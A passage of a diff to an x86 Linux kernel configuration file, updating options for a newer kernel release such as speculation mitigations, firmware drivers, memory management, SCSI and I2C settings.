CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +395,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -420,9 +429,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -446,6 +457,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -475,56 +488,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set -CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -539,8 +511,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -552,8 +522,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -562,9 +535,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -575,6 +550,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -586,36 +562,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -624,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -634,19 +641,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -660,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -699,38 +710,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -742,6 +786,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_INET is not set # CONFIG_NETWORK_SECMARK is not set @@ -805,7 +850,11 @@ CONFIG_HAVE_PCI=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set -# CONFIG_PCIEASPM is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y @@ -823,6 +872,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -860,6 +911,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -869,6 +921,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -879,6 +932,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -898,9 +952,54 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -986,29 +1085,30 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set +# +# Altera FPGA firmware download module (requires I2C) +# CONFIG_INTEL_MEI=m CONFIG_INTEL_MEI_ME=m CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1020,6 +1120,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1036,7 +1137,57 @@ CONFIG_SCSI_ISCSI_ATTRS=y # CONFIG_SCSI_SRP_ATTRS is not set # end of SCSI Transports -# CONFIG_SCSI_LOWLEVEL is not set +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_DH is not set # end of SCSI device support @@ -1054,6 +1205,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1127,20 +1279,8 @@ CONFIG_INPUT=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set @@ -1184,7 +1324,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1203,6 +1343,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1212,7 +1353,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1226,13 +1366,11 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1243,9 +1381,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1253,104 +1389,22 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -# CONFIG_I2C_MUX is not set -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PLATFORM is not set -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_EMEV2 is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1363,6 +1417,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1377,22 +1432,12 @@ CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not 